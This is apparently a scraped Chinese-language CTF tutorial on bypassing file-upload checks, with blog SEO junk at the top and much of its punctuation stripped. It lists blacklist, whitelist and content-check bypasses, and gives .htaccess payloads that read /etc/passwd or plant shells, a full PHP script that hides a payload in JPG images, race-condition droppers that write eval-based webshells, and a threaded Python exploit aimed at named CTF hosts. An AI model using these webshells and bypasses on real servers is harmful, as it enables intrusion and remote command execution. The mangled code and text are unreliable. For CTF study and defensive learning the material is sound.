qq在线网站代码,wordpress 搜索频率,网站建设需,微信小程序登陆入口文章目录 文件上传漏洞攻击方式#xff1a;0x01绕过前端限制0x02黑名单绕过1.特殊解析后缀绕过2..htaccess解析绕过3.大小写绕过4.点绕过5.空格绕过6.::$DATA绕过7.配合中间件解析漏洞8.双后缀名绕过9.短标签绕过 0x03白名单绕过1.MIME绕过(Content-Type绕过)2.%00截断3.0x00截… 文章目录 文件上传漏洞攻击方式0x01绕过前端限制0x02黑名单绕过1.特殊解析后缀绕过2..htaccess解析绕过3.大小写绕过4.点绕过5.空格绕过6.::$DATA绕过7.配合中间件解析漏洞8.双后缀名绕过9.短标签绕过 0x03白名单绕过1.MIME绕过(Content-Type绕过)2.%00截断3.0x00截断4.0x0a截断 0x04内容及其它绕过1.文件头检测绕过2.二次渲染绕过3.条件竞争4.添加大量垃圾字符绕过5.突破getimagesize6.突破exif_imagetype 题目练习[FSCTF 2023]加速加速[UUCTF 2022 新生赛]uploadandinject 文件上传漏洞
原因 ·对于上传文件的后缀名扩展名没有做较为严格的限制 ·对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查 ·权限上没有对于上传的文件目录设置不可执行权限尤其是对于shebang类型的文件 ·对于web server对于上传文件或者指定目录的行为没有做限制
webshell:指的是以asp 、php 、jsp 、aspx等网页文件形式存在的一种命令执行环境也叫后门
攻击方式
0x01绕过前端限制
当表单中调用js函数来检查上传文件拓展名时客户端还没向服务器发送任何消息就对本地文件进行检测判断是否是可以上传的类型这种方法就是前端限制。
绕过方法 1.F12修改js上传方法或通过改包工具修改上传(如bp) 2.如果是js脚本检测F12-F1 禁用js即可绕过
0x02黑名单绕过
1.特殊解析后缀绕过
语言默认可解析后缀盲猜绕过可解析后缀asp.net【IIS】asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cErphp.php .html .htm 【apache】php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtmljsp*.jsp *.jspx 【tomcat】jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
2…htaccess解析绕过
.htaccess文件(分布式配置文件)提供针对目录改变配置的方法。即在特定的文档目录放置一个包含指令的文件以此作用于目录及其子目录 利用方式 1.文件解析
FileMatch shell.jpg //将目录下的shell.jpg图片当作php脚本解析并执行
SetHandler application/x-httpd-php
/FileMatch或者
AddType application/x-httpd-php .aaa //上传.aaa后缀文件让其作为php类型文件并解析2.文件包含 在本地文件包含中可以通过php_value来设置auto_prepend_file或auto_append_file包含一些敏感文件 例
auto_prepend_file
php_value auto_prepend_file /etc/passwdauto_append_file
php_value auto_append_file /etc/passwd
例题payload:
?filename.htaccesscontentphp_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system(cat%20/f*)%3B%3F%3E%5C3.源码泄露 利用php_flag将engine设置为0在本目录和子目录中关闭php解析造成源码泄露 php_flag engine 0 4.代码执行 利用伪协议 all_url_fopen 、all_url_include为On 解析.htaccess
1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw
#php_value auto_append_file data://text/plain,%3C%3Fphpphpinfo%28%29%3B
2.1
php_value auto_append_file .htaccess
#?php phpinfo();
2.2
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件Files ~ ^.htRequire all grantedOrder allow,denyAllow from all
/Files
将 .htaccess指定当做 php文件处理SetHandler application/x-httpd-php
# ?php phpinfo(); ?
5.命令执行
CGI
6.XSS
利用highlight_file
.htaccess
php_value highlight.comment scriptalert(1);/scriptindex.php
?php
highlight_file(__FILE__);
// comment
其中的 highlight.comment 也可以换成如下其他选项
index.php
?php
include(foo);#foo报错
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root scriptalert(1);/script
7.自定义错误文件
error.php
?php include(shell);#报错页面.htaccess
php_value error_log /tmp/www/html/shell.php
php_value include_path ?php phpinfo(); __halt_compiler();访问 error.php会报错并记录在 shell.php 文件中因为会经过 html 编码所以需要 UTF-7 来绕过。.htaccess# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- ?php phpinfo(); __halt_compiler(); in UTF-7:
php_value include_path ADw?php phpinfo()ADs AF8AXw-haltAF8-compiler()ADs# 第二次
php_value include_path /tmp #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding UTF-7
3.大小写绕过
由于黑名单过滤不全未对后缀名大小写进行统一
4.点绕过
·windows系统下文件后缀名最后一个点会被自动去除 ·linux系统下文化后缀名最后一个点不会被自动去除 所以在windows系统下利用bp截断http请求在上传文件后缀后加.绕过上传 例如: demo.php.
5.空格绕过
·windows系统下对于文件名【demo.php(空格)】会被当作空处理检测代码不能自动删除空格从而绕过黑名单。文件上传后会自动删除空格
6.::$DATA绕过
·windows系统下上传的文件名为a.php::$DATA 会在服务器上生成一个a.php文件其中内容与上传的的内容相同并被解析
7.配合中间件解析漏洞
8.双后缀名绕过
过滤代码对文件名称进行敏感字符清除时使用
9.短标签绕过
script languagephpphpinfo();/script #phpinfo()可以替换成想要执行的代码0x03白名单绕过
1.MIME绕过(Content-Type绕过)
通过抓包修改Content-Type类型为指定类型
也可以使用短标签然后访问对应路径 GIF89a?? cat /f*;? 为了节约长度也可以使用BM BM?tac /f*;
2.%00截断
%00跟随url发送到服务器后被解码这时还没传到验证函数即验证函数接收到的是**%00被解码后的内容
**%00 -0x00**原理
无论是0x00还是%00最终都会被解析成chr(0) 而0对于的字符是NULL即空字符
当一个字符串中存在空字符时空字符后面的字符会被丢弃
例如文件1.php.jpg插入空字符变成1.php0x00.jpg解析之后只剩1.php%00截断只能绕过前端校验有时%00会被档子字符串可以通过对%00进行url编码或者用bp将hex的值修改为00 %00可以截断后端路径
3.0x00截断
0x00表示ascii码为0的字符一些函数处理时会把这个字符作为结束符且这个00是文件十六进制中的00而不是文件名的00
4.0x0a截断
0x0a表示ascii码为/n的换行字符
0x04内容及其它绕过
1.文件头检测绕过
1.将马写入txt文件中改为png后缀然后用010在文件前面加上对应的图片头。 2.或Bp抓包然后修改文件后缀 3.或
## ma.png 为要上传的图片【必须加/b】
## 1.php 为一句话木马【必须加/a】
## new 为重新定义的文件名
copy ma.png/b1.php/a new.png2.二次渲染绕过
gif
渲染前后的两张 GIF没有发生变化的数据块部分直接插入 Webshell 即可png
PNG 没有 GIF 那么简单需要将数据写入到 PLTE 数据块 或者 IDAT 数据块jpg
JPG 需要使用脚本将数据插入到特定的数据块而且可能会不成功所以需要多次尝试 ?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php jpg_name.jpgIn case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs Somethings wrong.If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload ?phpinfo();?;if(!extension_loaded(gd) || !function_exists(imagecreatefromjpeg)) {die(php-gd is not installed);}if(!isset($argv[1])) {die(php jpg_payload.php jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad 0; $pad 1024; $pad) {$nullbytePayloadSize $pad;$dis new DataInputStream($argv[1]);$outStream file_get_contents($argv[1]);$extraBytes 0;$correctImage TRUE;if($dis-readShort() ! 0xFFD8) {die(Incorrect SOI marker);}while((!$dis-eof()) ($dis-readByte() 0xFF)) {$marker $dis-readByte();$size $dis-readShort() - 2;$dis-skip($size);if($marker 0xDA) {$startPos $dis-seek();$outStreamTmp substr($outStream, 0, $startPos) . $miniPayload . str_repeat(\0,$nullbytePayloadSize) . substr($outStream, $startPos);checkImage(_.$argv[1], $outStreamTmp, TRUE);if($extraBytes ! 0) {while((!$dis-eof())) {if($dis-readByte() 0xFF) {if($dis-readByte ! 0x00) {break;}}}$stopPos $dis-seek() - 2;$imageStreamSize $stopPos - $startPos;$outStream substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream $outStreamTmp;} else {break;}if(checkImage(payload_.$argv[1], $outStream)) {die(Success!);} else {break;}}}}unlink(payload_.$argv[1]);die(Something\s wrong);function checkImage($filename, $data, $unlink FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage FALSE;if(preg_match(/(\d) extraneous bytes before marker/, $errstr, $m)) {if(isset($m[1])) {$extraBytes (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order false, $fromString false) {$this-binData ;$this-order $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die(File not exists [.$filename.]);$this-binData file_get_contents($filename);} else {$this-binData $filename;}$this-size strlen($this-binData);}public function seek() {return ($this-size - strlen($this-binData));}public function skip($skip) {$this-binData substr($this-binData, $skip);}public function readByte() {if($this-eof()) {die(End Of File);}$byte substr($this-binData, 0, 1);$this-binData substr($this-binData, 1);return ord($byte);}public function readShort() {if(strlen($this-binData) 2) {die(End Of File);}$short substr($this-binData, 0, 2);$this-binData substr($this-binData, 2);if($this-order) {$short (ord($short[1]) 8) ord($short[0]);} else {$short (ord($short[0]) 8) ord($short[1]);}return $short;}public function eof() {return !$this-binData||(strlen($this-binData) 0);}}
?
用法php payload.php a.jpg
3.条件竞争
以一个木马文件上传的实验为例
$is_upload false;
$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}白名单判断是否为jpg、png、gif的一种如果不是则会进行unlink删除操作。这里可以利用条件竞争在判断白名单和unlink操作之间上串木马。
先将php语句写入shell.php中
aaa?php fputs(fopen(rv1nm4.php,w), ?ph ·eval($_POST[rv1nm4]);?);?fopen()作用是打开一个名为rv1nm4.php文件如果没有则创建该文件第二个参数w表示以写入模式打开文件
fputs()将字符串写入到打开的文件中。并且包含一些特殊字符如 ? · ; ?
shell.php执行后新建rv1nm4.php文件并写入一句话木马作用是当上传的shell.php文件被删除后后端还会存在r1nm4.php后门方便连接.
接下来抓取上传shell.php的包发送到intruder模块配置相关payloads选择Null payloads并勾选无限重放(最好设置多线程增加条件竞争成功的可能性)之后就是自动重放的过程
编写脚本检测条件竞争是否成功
urlhttp://127.0.0.1/upload-labs/upload/shell.php
while True:htmlrequests.get(url)if html.status_code200:print(YES,you upload it)else:print(NO)4.添加大量垃圾字符绕过
例如:BuildCTF ez_waf
可以上传php 但是检测文件内容 利用大文件(增加脏数据使得溢出) 5.突破getimagesize
6.突破exif_imagetype
题目练习
[FSCTF 2023]加速加速
直接通过脚本
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):url http://node4.anna.nssctf.cn:28352/index.phpfiles {upload_file: (puu.php,?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]);? ); ?)}data {submit: 上传}r requests.post(urlurl, datadata, filesfiles)re requests.get(http://node4.anna.nssctf.cn:28352/upload/puu.php)if re.status_code 200:print(上传成功)
if __name__ __main__:with ThreadPoolExecutor(50) as p:p.map(td, range(2000))然后访问shell.php传参执行命令即可
[UUCTF 2022 新生赛]uploadandinject
考点LD_PRELOAD劫持 LD_PRELOAD劫持
LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库那么我们便可以在自己定义的动态链接库中装入恶意函数.提示看hint.php 内容nothing here,but I think you look look JPG,indexs swp 提示我们看swp文件(Linux vim产生的文件)
http://node5.anna.nssctf.cn:28853/.index.php.swp下载.index.php.swp 直接打开发现内容破损使用vim恢复文件vim -r index.php.swp 内容如下
$PATH$_GET[image_path];
if((!isset($PATH))){$PATHupload/1.jpg;
}
echo div aligncenter;
loadimg($PATH);
echo /div;
function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库 putenv(LD_PRELOAD/var/www/html/$img_path);system(echo Success to load);echo brimg src$img_path;}else{system(echo Failed to load );}
}可以上传文件